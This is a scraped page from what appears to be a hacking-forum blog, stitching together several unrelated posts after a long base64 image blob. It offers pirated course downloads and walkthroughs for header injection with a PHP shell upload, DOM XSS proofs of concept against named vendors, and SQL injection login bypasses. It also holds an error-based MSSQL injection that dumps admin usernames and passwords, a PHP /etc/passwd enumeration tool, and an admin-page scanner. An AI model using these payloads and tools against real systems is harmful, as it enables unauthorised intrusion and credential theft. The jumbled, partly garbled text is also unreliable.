n7pbuKKujI4DIwKsp6MpGCD8pnKdG7o0DZVrelxOywFph6gpVqaD3VYsNLadgGBBHj0A8VOPcWtxor2dO4I27SnUCavMjx/VHwhDny6HvcMqZ8qoP8AJPkdHt+77e35JLK544548LtrwCrrVlt1pKpBQXV3XvVpkdGW3GlCR3anOMAz07SreXJt1vUINq9eo1YmmBcVG7SnR7NKfuoKbknODkKN9zPAPPF4fc4awP51ZR/KJBW4lxS42LUbVD/8QL1Md41NsPiJ6JO8zmWNmOMv56b/AO69vnjmDsaZt6B1XdZSqKDvSQ7NWc/kgDp4n5zK23Cq1IK9ElmUAE/lEgbnHQg+E9rgvLgp5wGLMcu7kvUqN4ux3Pw6eU11jwrA6T1dr286GHyzzfdOMmM0y9nzpc0xpNtqbyDrn9XSYHEbS8vwalcCmFH9lT93JPeQckbd532HSbb1EiGloe+ejbW2b4Pw006SU2wcA58NySflvPLvuU6lN+0tH0/mk4x5A9CPIzoFG0xJntRiGxtz6nbcRqr2bulJDszALqI7/d/2mp4Nw5KFNaaDYZ372J6sfOeobOTUrfEtrbKcC4HUo1bmo5GKtQlQMn2dTtk+HvdJe5o4c9e0qU6YBc6CATgey6k7nyBmiNKOKUtrbweEWTU6VJGwSqKpI6ZAA2j8y8GN1RFMPoGtWY4zlRnYb7HOD8p7XZCSFdpbW3lULMLgAYAAA+A2/CebzVwEXNLHuspyjEdD3g+RH4CaVUE8rnC9FC0qv0OnSv6T+yPpnPyh7UYLkigdVWoTncUw3jjc/LGidH4aky/KvD+ztqQI3Yaz8W3Gf1dI+U2PDkwJqmrQWY62U1OPue6jYIoHg1Wpk/PAmyczkfNHEL2y4ld1rQ0H7WlZ6hVVspqY29NaekjJ1hmOe4+UseVjy1/JXOgv7m+ohVC29QLTIzl6eWQsd+upM7Y2YTYTkfo0sfVeIpQGCW4dqcjo1RbhgW36zrc6NnnP+bOdqtlxe0t20+rVkUOMDUHqVCi1NXXC4XbpgttnGOgTkPpbsqVTiVotdWZKlvVUaW0MrKSysrYO4J7xJLPCqXq99xGiBgJcpWXw03KliPLBUbfGdC4dWyJx3lKnoqLguTVoUqtTUzPqrpUrUarEk9cr8szrHCPdmMmMnrwWMbViAz+UyyUWfjGJjZmTEitJJWVpJmSowYswA0fEgIQGTPWPqiDRDzLnh4PdKb8FHhNATFj6R2ds6OCDwkycGA7p7gAjy2NvPoWAEvLSwIceCM6QBThMY4MEbTHCx8wTIiYRERGCDJHjiDC0xRd8dhGCwiIIBE57ees8SqoK1Bre2psWKuCrVD0A9oAk422GBltycToJEr1aOe6Mqnh51BcmexbrIKVDEtKskMzlnPoxeVCenZ8Nf5LeMp/fE6iWnNPSJaPUuWFJS7tZOSo64oXFvV28SRrAHjiaxvlrHlPy1R/vpT9nhxB+LXLmdJnHbfmy3tOKJc1mK21ay0LUCs2W7U1AcKM40kd3eJtafpM4URkXifNKoP0KZnSNtbOX+luhm84a3/VL/gVv85oanpO4Uo/84p/Rp1mP0CTDc787Ubq4sjbpVK06lU9pUQojh00kIG9pvmBJK/LZ/tLbzo3oPxW8Y/z/AHzqXCTtOW8u6dPD6yFj2yXwqaugq9pTqMFHcM7eemdN4Q22JjJnJ7RMAwmkRmGAsYsxiZGJkwYfaGGlKm23WTBpbSyDD1SAMBCDSWkuI4ga44UxGhiL4Rsx8yRERBoswZJJq3iEAGHFGixF3wmMkBTHzGgGZES5ieApzHMScGFA0xEyAyYWZGG2hgyJsRlSOIgYojTOIsRAxnO0ieYf0gWFwT2ttS7Zjb3FsyhxSZRX0FaqsdjpKdPPym1BkNWnmUujK4ZzFYtaPw1FJBprWXOdwxVS247skj4SW443VRWdmBCgk+xTJwN+9Z73pftuz9TqeFcof11P+mYfjz4t6nwx9SBOuPDUWl4+1Vwj61LIHXOFDAjOwXb+jK/Etnt28Lil9CcGWeaLHRb0q69aDJ+wcKR9dP3yjx2pikH+y9Nh8iN4luuAcBRKhqA1CSXKqzkpT7Qg1NC9F1EAmdB4XSwJnuCKJq7ZdtpztYtWC8idtomaRVTMWg7NIi0GpUkL1h3zNpkCjdJKjSnTqbSRHgl9Ghq0pB5YptNJbVoaiVkkqPGBN3RwZCGEcPvIJyPCCwjdpsIxcSR9oswcgxsjxktJA0Z2g5jZkhZj5jAR2MtAlbERqSJoiP66QKUtEJHqMSt3RCQmOrSOCGgVkRZkKtCzNIcYmADBdpE+Y+qR6ogRAMR6Y7Yvw6ow96k9KoPLDBT9zGcq45UzaufEKfqVnc+brTtrO4p/bo1AP0tJ0/fifP8AVqhrFT3YQH9VgP4TphfDeLo15ZdrZVkxkmi+P0guR94E51eVdVgD+ag+jKP4TrnClB27jt8u+cdrpotKiH8ioUPycRxpjtXL7ZA+AmtoNiZDgR6YmppttOdZqaq8gLZhO8rVHmUdz/XhIanWDUeQGtMkFOpJ0qRRRSVGkq1cRRRCam8kWpFFED7WEGMUUgMNmOX2iigTRZjRRQ1aPmPFIFq2iLxRRSNzHUxRQRao+uKKCPqgZjRRQ1aPqiikjaoOqNFFoxaD2kUUyy83mC+alb1aiIajIjFUAJLN3Lgb9fCfO3D+F3lYdgKTrTJ3LIVVBnJ9ph92cxop0w4bjs/B6ZUAdw6TmPMvK19TeqqKalGo7uCmljhm1AMD7QPTyiihLqqOgcmtXFFPWFC1MYIH2RsudzvjrNvTq7RopZID1JXervFFMJBVqyqzxRTKj//Z" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a>Assalam-o-Alaikum 
 
And This Is Half Course I am upload 3rd and 4th Part as soon as 
 
Password ==> madleets 
<img src="http://www.couponlair.com/images/course/304x171/33123_dcf4_8.jpg" /> 
 
Part 1:- 
================================================= 
<a href="http://www.mediafire.com/download/klrr0wnk1okz9ou/Part+1.zip" rel="nofollow" target="_blank">http://www.mediafire.com/download/klrr0w...Part+1.zip</a> 
================================================= 
Part 2 :- 
================================================= 
<a href="http://www.mediafire.com/download/lpfz675yxh5yc52/Part+2.zip" rel="nofollow" target="_blank">http://www.mediafire.com/download/lpfz67...Part+2.zip</a> 
================================================= 
 
I hope u like this.. <img alt="Cool" border="0" src="http://www.madleets.com/images/smilies/cool.gif" style="vertical-align: middle;" /></div>

Udemy "Website Hacking in actice" - Free Download

Assalam-o-Alaikum And This Is Half Course I am upload 3rd and 4th Part as soon as Password ==> madleets Part 1:- ==============...

How To get Real IP From CloudFare Protected

1) Go to Code: http://www.crimeflare.com/cfs.html 2) Enter URL of your target site here: 3) Click Search 4) This is the plai...

HTTP Header Injection - Full Explained

<div dir="ltr" style="text-align: left;" trbidi="on">
1. What is HTTP header injection? 
 
HTTP header injection is a vulnerability which occurs when HTTP headers are based on user input. Header injection in 
HTTP responses can allow HTTP response splitting and XSS attacks. 
 
2. HTTP Header Injection 
 
We can use "Live HTTP Headers" or "Tamper Data" if we are using Firefox.
 Say this is what is getting recorded when you enter google.ca. 
 
Host [google.ca] 
User-Agent [Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4] 
Accept [text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] 
Accept-Language [en-us,en;q=0.5] 
Accept-Encoding [gzip, deflate] 
Accept-Charset [ISO-8859-1,utf-8;q=0.7,*;q=0.7] 
Keep-Alive [300] 
Connection [keep-alive] 
 
Now, with Tamper Data or Live HTTP Headers, we will change the User Agent to: 
 
Host [google.ca] 
User-Agent [<script>alert(string.fromCharCode(88,83,83))</script>] 
Accept [text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] 
Accept-Language [en-us,en;q=0.5] 
Accept-Encoding [gzip, deflate] 
Accept-Charset [ISO-8859-1,utf-8;q=0.7,*;q=0.7] 
Keep-Alive [300] 
Connection [keep-alive] 
 
Now, click "OK" if you are using Tamper Data, and click "Replay" if you are using Live HTTP Headers. 
 
If we want to upload something like a shell when we upload our "image" in an image upload form, this is what we get: 
 
Host [google.ca] 
User-Agent [Mozilla/5.0 and all that other stuff...] 
Accept [text/html,application/xhtml+xml, etc...] 
Accept-Language [en-us,en;q=0.6] 
Accept-Encoding [gzip,deflate] 
Accept-Charset [ISOKAOAKOFASfaS] 
Keep-Alive [300] 
Connection [keep-alive] 
Referrer [google.ca] 
Content-Type [multipart/form-data; boundary=[--29847239576353486787] 
 
 
 
Content-Disposition: form-data;name="image"; filename="pedobear.bmp" 
Content-Type: image/bmp 
 
<?php 
 
// System EXEC example 
 
system_exec('whoami'); 
 
?> 
 
-- 29847239576353486787 
 
We can see the PHP code, so now we want to change the name to something like PHP5 or PHP: 
 
Content-Disposition: form-data;name="image";filename="pedobear.php5" 
 
Content-Type: image/bmp 
 
<?php 
 
// System EXEC example 
 
system_exec('whoami'); 
 
?> 
 
 
Now, we get an error about sending the POST is being too long. Just send it again without the content-length. 
 
If the upload form is vulnerable, you will get the shell.</div>

HTTP Header Injection - Full Explained

1. What is HTTP header injection? HTTP header injection is a vulnerability which occurs when HTTP headers are based on user input. Header...

DOM XSS TUT BY DARKSNIPPER

<div dir="ltr" style="text-align: left;" trbidi="on">
<img height="290" id="irc_mi" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGH0FYlYZZX-Nq76fNUg_fX4aeSD1K-KIqFui-IkQenat6M2lV2MrBKsB9bJUfXDb1rNTWSgrU3YxyfQLEEkF7Cq1j3qQQIkl9gEHtq9r8kI5LbNNIYEZ0SDqzqCD_3JnDFK1UsqrzNBVW/s1600/domXss2.png" style="margin-top: 52px;" width="410" /> 
what is Dom 
DOM is expanded as Document object model that allows 
client-side-scripts(Eg: Javascript) to dynamically access and modify the
 content, structure, and style of a webpage. 
Like server-side scripts, client-side scripts can also accept and manipulate user input with the help of DOM. 
 
Example 
 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code: 
</div>
<div class="body">
<div dir="ltr">
<code>< html>  < head> < /head> < body>    var pos=document.URL.indexOf(" madleetop =")+9;   //finds the position of value  var userInput=document.URL.substring(pos,document.URL.length);  //copy the value into userInput variable document.write(unescape(userInput));  //writes content to the webpage   < / body>< / html> </code></div>
</div>
</div>
i use spaces coz site is filterng my cntent nd remvng html tags. 
 
 
In the above example, the javascript code getsvalue from the url parameter "madleetop" and writes the value in our webpage. 
 
For Example If the Url is 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>www.madleets.com/snipper?madleetop=me</code></div>
</div>
the webpage will display "me" 
 
Did you notice ?! The part of the webpage is not written by Server-side 
script. The client side script modifies the content dynamically based on
 the input. Everything done with the help of DOM object 'document'. 
Hope you understand. 
 
DOM Based XSS vulnerability: 
 
When a web developer writes the content using DOM object without 
sanitizing the user input , it allow an attacker to run his own code. 
In above example, we failed to sanitize the input and simply displayed the whatever value we get from the url. 
An attacker with malicious intention can inject a xss vector instead . 
For example: 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>www.madleets.com/snipper?madleetop= alert("iammad")< / script></code></div>
</div>
the document.write function simply writes the value of madleetop 
parameter in the webpage. So it will write the 'alert("immad")< 
/script>' in the webpage without sanitizing. This results in running 
the script code and displays the alert box. 
More Information 
we can inject other sites like 
<a href="http://www.site.com/me.aspx" target="_blank">http://www.site.com/me.aspx</a> 
A user could inject code for example: 
 
< img src=f00bar onerror=prompt(" xss");> ...on the input text in the form nd click oN"Search" button 
example no 2 
kaspersky was also vulnerable to it 
let me explain how attacker did: 
The problem was located on a bad validation of location.hash coming from jQuery (which is alsooutdated) 
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code: 
</div>
<div class="body">
<div dir="ltr">
<code>/*load current tab by url*/ //if($.url.param("tab"))$('a[name='+$.url.param("tab")+']').trigger('click'); var hash = location.hash; if (hash.indexOf("tab=") != -1) { hash = hash.replace(/^#tab=/, ""); $('a[name=' + hash + ']').trigger('click'); } </code></div>
</div>
</div>
If a user loads the "tab" parameter on the URL it will execute the code. 
Proof of concept: 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>http://www.kaspersky.com/tablet-security #tab= < img src=x onerror=prompt( "xs s");></code></div>
</div>
Note:it has been patched 
i used jus to make easy to explain. 
Example no 3. 
Avg was also Vulnerable to it,but they patched it. 
Poc: 
Due to the lack of escaping/encoding the URL onthe code present on file 
js_stdfull.js, a user could inject code into the website. 
 
Vulnerable code: 
//display the correct tab based on the url (#name) 
 
var pathname = $(location).attr('href');var urlparts = pathname.split("#"); 
Proof of concept: 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>http://www.avg.com/eu-en/download# " > < im g src=x onerror = prompt( / xss/ );</code></div>
</div>
thanks.
 </div>

DOM XSS TUT BY DARKSNIPPER

what is Dom DOM is expanded as Document object model that allows client-side-scripts(Eg: Javascript) to dynamically access and modify th...

Hack a Target Website With This Tool

Hi guys just wanna to share with you this cool script i made few time ago it's name is Targeting Guru Link on sourceforge Here

LFI scanner Online Working

Asalamu Alikum After a short break m back wd an interesting Web-Hacking So today m gonna Show you How To Hack website Using Local File I...

WSPLOIT v1.3 Download

it's a simple tool that i coded .. i had fun Downlaod on sourceforge https://sourceforge.net/projects/wsploit/

How Sql Injection Exploit Works By Ment@l Mind 100% Works

<div dir="ltr" style="text-align: left;" trbidi="on">
 
			 
<div class="post_body" id="pid_1087">
				***How Sqli Works**** 
 
% Mental Mind % 
 
It's just an short article to show you how sql injection exploits works, It will just an overview, 
 
* I will start from a little login exploit first have a look at sql vulnerable login statement : 
 
 
 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>SELECT * FROM TABLE WHERE USERNAME='$_POST['username']' AND PASSWORD='$_POST['password']'</code></div>
</div>
 
suppose 
we know the username is "admin" but dont know the password and then 
First thing we will try to do that we will try to comment out the 
password 
 
comments symbols in sql= # OR -- 
 
we will try to put this command 
 
username = admin' # 
password = blah 
 
what will it do? 
 
Ans = Doing this the sql statement will become 
 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>SELECT * FROM TABLE WHERE USERNAME = 'ADMIN' # AND PASSWORD = 'BLAH'</code></div>
</div>
 
#this is comment line 
 
'#' This 
sign will commented out the password and the statment will chek username
 if it's admin then it will allow you to access to DB 
 
* Next part is let's try to put the The following username and password 
 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>Username = admin 
password = blah' or 1=1#</code></div>
</div>
 
what will it do? 
 
Ans = it will convert the statment as follow: 
 
 
 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>SELECT * FROM TABLE WHERE USERNAME='$_POST['username']' AND PASSWORD='blah' OR 1=1#'</code></div>
</div>
 
Here what happened? 
 
The statement will chek username =admin it's true 
know it wll chek password = blah 
which is wrong but we have used logical operator 'or' and comment symbol '#' 
 
what will they do..!! it will work something like this 
 
"If password == blah OR password = true" 
 
And '#' will commented out the ' single qoute sign and because of this 
1=1 become and second statement and as you know 1=1 is always true and 
it will allow you to access to the DB 
 
*Another way to do that we will use the following Command 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>username = admin 
password = blah' OR 'A'='A</code></div>
</div>
 
The statemenr will become: 
 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>SELECT * FROM TABLE WHERE USERNAME='$_POST['username']' AND PASSWORD='blah' OR 'A' = 'A'</code></div>
</div>
 
Same A = A is always true like 1=1 
 
 
 
*Extracting Database 
 
Lets Have a look at vulnerable statement of database: 
 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>SELECT * FROM TABLE WHERE USER =1</code></div>
</div>
 
suppose the url is: 
 
site.com/showprofile&user=1 
 
We will put vulnerable test variable in url bar we will put "or 1=1--" after "user=1" 
 
the statement will become: 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>SELECT * FROM TABLE WHERE USER =1 or 1=1--</code></div>
</div>
 
-- is another comment operator but if it's use at end of statment it's tell the statement to return the data of user, 
here we are using user=1 
 
if by using this command 
 
site.com/showprofile&user=1 or 1=1-- 
 
if you see any data changes in web page then our vlnerablity test was succesfull. 
 
 
"data changes mean it will show the all posts by every user" 
 
* second Vulneable test 
 
or 1=0-- 
 
The statment will become 
 
 
<div class="codeblock">
<div class="title">
Code: 
</div>
<div class="body" dir="ltr">
<code>SELECT * FROM TABLE WHERE USER =1 or 1=0--</code></div>
</div>
 
if by using this you see no posts then our vulnerable test was succesfull 
* Ok now if vulnerability test was succesfull then enter an unexpected to retrieve information on sql statement, 
 
 
for example if sever expects an integer then put character 
 
for example here at 
 
user="" 
 
after this server expects an integer for example it expects user = 1 
user = 100 and so on, 
 
but its not expected character here so if you put ' character at he end of url, the statement will give eror mesage like: 
 
mysql_warning or you have an eror blah blah blah 
 
AND then your egular using commands like: 
 
order by # = will use to get column column count 
 
union = combines the result of two different queries into single output,
 the two queries must have same number of columns in order to join, 
 
suppose by using order by clause you got 7 tabls and then eror message 
 
then we will use union slect to combine the all columns and get vulnerable column, 
but goal of this tutorial was just to show you demonstartion that how sql works it was just a basic demo 
 
 
sorry for my bad english 
 
remember me in your prayers 
 
ALLAH HAFIZ
			</div>
</div>

How Sql Injection Exploit Works By Ment@l Mind 100% Works

***How Sqli Works**** % Mental Mind % It's just an short article to show you how sql injection exploits works, It will ...

MSSQL injection detailed with PICS

<div dir="ltr" style="text-align: left;" trbidi="on">
By Rummy Khan 
 
 In the name of ALLAH the most beneficent and merciful. 
 
i will try my best to explain everything upto my knowledge.. 
this is error bases mssql.. im learning union based mssql but till now im unable to figure out how to do that <img alt="Huh" border="0" src="http://www.madleets.com/images/smilies/huh.gif" style="vertical-align: middle;" /> 
so with error base mssql first do some basics 
in sql 
1=1 is true 
1=0 mean false 
or 
1=(statement which returns true) is true and in true case page will load fine 
1=(statement which returns false) is false and in false case page will display an error 
 
CASTING in MSSQL 
there are two casting function in MSSQL 
 Cast() 
usage: cast(value as int/nchar/char/varchar/nvarchar) 
 CONVERT() 
usage: CONVERT(int/nchar/char/varchar/nvarchar, value) 
 
and if we use 
1=CONVERT(int,(a value whis in not number/integer)) this will return with an error 
and this is magical as it will display our desired result in errors jux like ERROR Based Query in mysql 
 
so lets start 
dork to find mssql vuln website is .aspx? id= for [bing] 
 
when u get a website u place a single quote ( ' ) after id and u will get an error like this.. 
<img alt="[Image: image.jpg]" border="0" src="http://s17.postimg.org/cyz5o9dz3/image.jpg" /> 
 
why it gives an error 
as im also learning .NET 
in .NET 
some lazy developers use query like this 
 
select * from tblname where id=' "+ txtIDBox.txt +" '; 
 
so if we see it carefully we can exploit this by adding our queries in txtIDBox.txt which in this case is our URL 
 
IDENTIFY the error 
error must be related to SQL 
like in this case 
System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string '12''. 
Incorrect syntax near '12'' 
and System.Data.SqlClient.SqlException is responsible to handle all the errors related to MSSQL 
 
 
i think this is enough 
lets get some basic info about the Database first 
use DB_NAME() to see the database name 
site.com/some.aspx?parameter=1 and 1=CONVERT(int,DBNAME())-- 
and remeber DB_NAME() returns a string value which cannot b converted into integer so it throw an error with Database Name also 
u can use DB_NAME(1) to see the next and u can go on DB_NAME(2) DB_NAME(3) DB_NAME(4) to see all database.. 
 
 
<img alt="[Image: image.jpg]" border="0" src="http://s10.postimg.org/b5e3k6im1/image.jpg" /> 
 
Now version with @@version 
site.com/some.aspx?parameter=1 and 1=CONVERT(int,(@@version))-- 
 
 
<img alt="[Image: image.jpg]" border="0" src="http://s29.postimg.org/qznc32a3b/image.jpg" /> 
 
Now database user name 
with USER_NAME() 
site.com/some.aspx?parameter=1 and 1=CONVERT(int,(USER_NAME()))-- 
 
<img alt="[Image: image.jpg]" border="0" src="http://s24.postimg.org/dol2b53id/image.jpg" /> 
 
now start enumerating tables 
 
there is no limit function in MSSQL 
we will use TOP 1 
site.com/some.aspx?parameter=1 and 1=CONVERT(int,(Select TOP 1 table_name from information_schema.tables))-- 
 
 
 
<img alt="[Image: image.jpg]" border="0" src="http://s23.postimg.org/txvm32lwr/image.jpg" /> 
 
well we got our first table now go for second 
 
site.com/some.aspx?parameter=1 and 
1=CONVERT(int,(Select TOP 1 table_name from information_schema.tables 
where table_name not in ('table1')))-- 
 
 
 
<img alt="[Image: image.jpg]" border="0" src="http://s8.postimg.org/f3nlvvdyt/image.jpg" /> and we got our second table in this way we will enumerate all the tables 
 
lets move directly to our favourite table tbladmin 
site.com/some.aspx?parameter=1 and 
1=CONVERT(int,(Select TOP 1 table_name from information_schema.tables 
where table_name not in ('table1','tbl2','tbl3','tbl4')))-- 
 
 
<img alt="[Image: image.jpg]" border="0" src="http://s27.postimg.org/572w7oj9f/image.jpg" /> 
 
well we got Admin table so lets start enumerating columns for the admin table 
site.com/some.aspx?parameter=1 and 
1=CONVERT(int,(Select TOP 1 column_name from information_schema.columns 
where table_name ='tbladmin' ))-- 
 
and it will show us the first column of admin table 
 
 
<img alt="[Image: image.jpg]" border="0" src="http://s30.postimg.org/deri6tnz5/image.jpg" /> 
 
for second column 
site.com/some.aspx?parameter=1 and 
1=CONVERT(int,(Select TOP 1 column_name from information_schema.columns 
where table_name ='tbladmin' and column_name not in ('nid')))-- 
 
 
<img alt="[Image: image.jpg]" border="0" src="http://s15.postimg.org/deaqvxiob/image.jpg" /> 
now we got second column now lets grab the next column 
 
site.com/some.aspx?parameter=1 and 
1=CONVERT(int,(Select TOP 1 column_name from information_schema.columns 
where table_name ='tbladmin' and column_name not in 
('nid','loginid')))-- 
 
 
 
<img alt="[Image: image.jpg]" border="0" src="http://s14.postimg.org/v26285qf5/image.jpg" /> 
 
 
now we got our required column now dumping data from these columns 
site.com/some.aspx?parameter=1 and 1=CONVERT(int,(Select TOP 1 loginid from admin))-- 
 
<img alt="[Image: image.jpg]" border="0" src="http://s21.postimg.org/tj1c73hbb/image.jpg" /> 
 
 
 
we got username now lets get password 
site.com/some.aspx?parameter=1 and 1=CONVERT(int,(Select TOP 1 password from admin))-- 
 
 
 
<img alt="[Image: image.jpg]" border="0" src="http://s23.postimg.org/o0wbzzu5n/image.jpg" /> 
 
well we got our required information now login and do what ever u want.. 
if u want to see the second username u will use the same method which u used for table_name and column_name i.e. 
site.com/some.aspx?parameter=1 and 1=CONVERT(int,(Select TOP 1 loginid from admin where loginid not in('admin')))-- 
 
and same for all other columns.. 
hope u got this.. 
 
 
(well this is 3rd time with me that i injected a site with patience and username and password is admin <img alt="Angry" border="0" src="http://www.madleets.com/images/smilies/angry.gif" style="vertical-align: middle;" /> but this is not about getting access to the site rather this is about injecting MSSQL server) 
 
 
 
if u have any query u can pm me in this forum or contact me at facebook.com/rummykhan 
Hope u learned something</div>

MSSQL injection detailed with PICS

By Rummy Khan In the name of ALLAH the most beneficent and merciful. i will try my best to explain everything upto my knowledge....

/etc/passwd Bypasser Method

<div dir="ltr" style="text-align: left;" trbidi="on">
 
 
 
 
Tool Code is Following : 
<blockquote class="tr_bq">
<img alt="[Image: thump_8898446pantallazo1.png]" border="0" src="http://s2.subirimagenes.com/imagen/previo/thump_8898446pantallazo1.png" /><title>Etc/Passwd Bypass Tool </title> <body background="http://img54.xooimage.com/files/f/7/2/kbk29185-227a592.gif" bgcolor="black"> <form> <h1>/etc/passwd Bypasser </h1></a> </form> <form> <td width="50%">users in server:&#222;&#199;&#198;&#227;&#229; &#199;&#225;&#237;&#230;&#210;&#209;&#199;&#202; &#200;&#199;&#225;&#211;&#237;&#209;&#221;&#209;</td> <td width="50%"><select size=\"1\" name="plugin"><option value="plugin">/etc/passwd</option></option></select></td> <td width="100%" colspan="2"> <input type="submit" value="Submit"></td> </form> <textarea method='POST'  rows=20 cols=100 wrap=off> <?php error_reporting(0);  if ($_GET['plugin'] )                                            for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd                                         $ara = posix_getpwuid($uid);                                                 if (!empty($ara)) {                                                   while (list ($key, $val) = each($ara)){                                                     print "$val:";                                                   }                                                   print "\n";                                                 }                                         }                                  echo "</textarea>"; ?></blockquote>
 </div>

/etc/passwd Bypasser Method

Tool Code is Following : <title>Etc/Passwd Bypass Tool </title> <body background="http://img54.xooimage.com/files...

Php Tool for Admin Page Scanner

<div dir="ltr" style="text-align: left;" trbidi="on">
 Following is Script : 
 
<blockquote class="tr_bq">
<div class="body">
<div dir="ltr">
<code><?php /* * Admin Scanner * Author c1ck0 * Email: riky.hasibuan@gmail.com * Thanks to : ArRay,K4pT3N,Jasman,N4ck0,Vba and all explorecrews * www.ExploreCrew.org | ExploreCrew UnderGround Coder Team! */ echo '         <h2>Admin Scanner</h2>         Input Your URL with backslashes at end. example : http://target.com/         <form action="?action=search" method="post">         <input name="url" type="text" size="30" >         <input name="search" value="search" type="submit">         </form>'         ; set_time_limit(0);error_reporting(0); if ($_GET['action'] == "search") {         $url = $_POST['url'];         echo "<br />Search : ".$url." ";                 // kosakata lokasi adminnya, bisa ditambahin lagi         $location = array('admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/',                                          'admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/',                                          'admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',                                          'joomla/administrator','login.php','admin_area/admin.php','admin_area/login.php','siteadmin/login.php',                                          'siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html',                                          'admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php',                                          'admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp',                                          'admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html',                                          'webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',                                          'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php',                                          'admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html',                                          'pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html',                                          'bb-admin/admin.html','admin/home.html','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php',                                          'account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',                                          'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html',                                          'adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html',                                          'admin/cp.html','cp.html','adminpanel.php','moderator.html','administrator/index.html','administrator/login.html',                                          'user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',                                          'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html',                                          'modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html',                                          'moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',                                          'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php',                                          'adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php',                                          'panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php',                                          'adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','adm/index.php',                                          'adm.php','affiliate.php','adm_auth.php','memberadmin.php');                 /*          * function untuk menampilkan output secara satu persatu melalui output buffering          * kalau ga berfungsi, bisa di set di php.ini          * "output_buffering = Off"          * "zlib.output_compression = Off"         */                 ob_implicit_flush(true);         ob_end_flush();         foreach ($location as $adminlocation){                 $headers = get_headers("$url$adminlocation");                 if (!$headers) {                         // kalo ga pake http:// bakal muncul error                         echo "<font color='red'>please put http:// on your url";                         exit;                 } else {                         if (eregi('200', $headers[0])) {                                 echo "<a href='$url$admin'>$url$adminlocation</a> <font color='green'>Found!<br />";                         } else {                                 echo "$url$adminlocation <font color='red'>NOT Found!<br />";                         }                 }                 sleep(1);         } }?></code></div>
</div>
</blockquote>
</div>

Php Tool for Admin Page Scanner

Following is Script : <?php /* * Admin Scanner * Author c1ck0 * Email: riky.hasibuan@gmail.com * Thanks to : ArRay,K4pT3N,Jasman,N...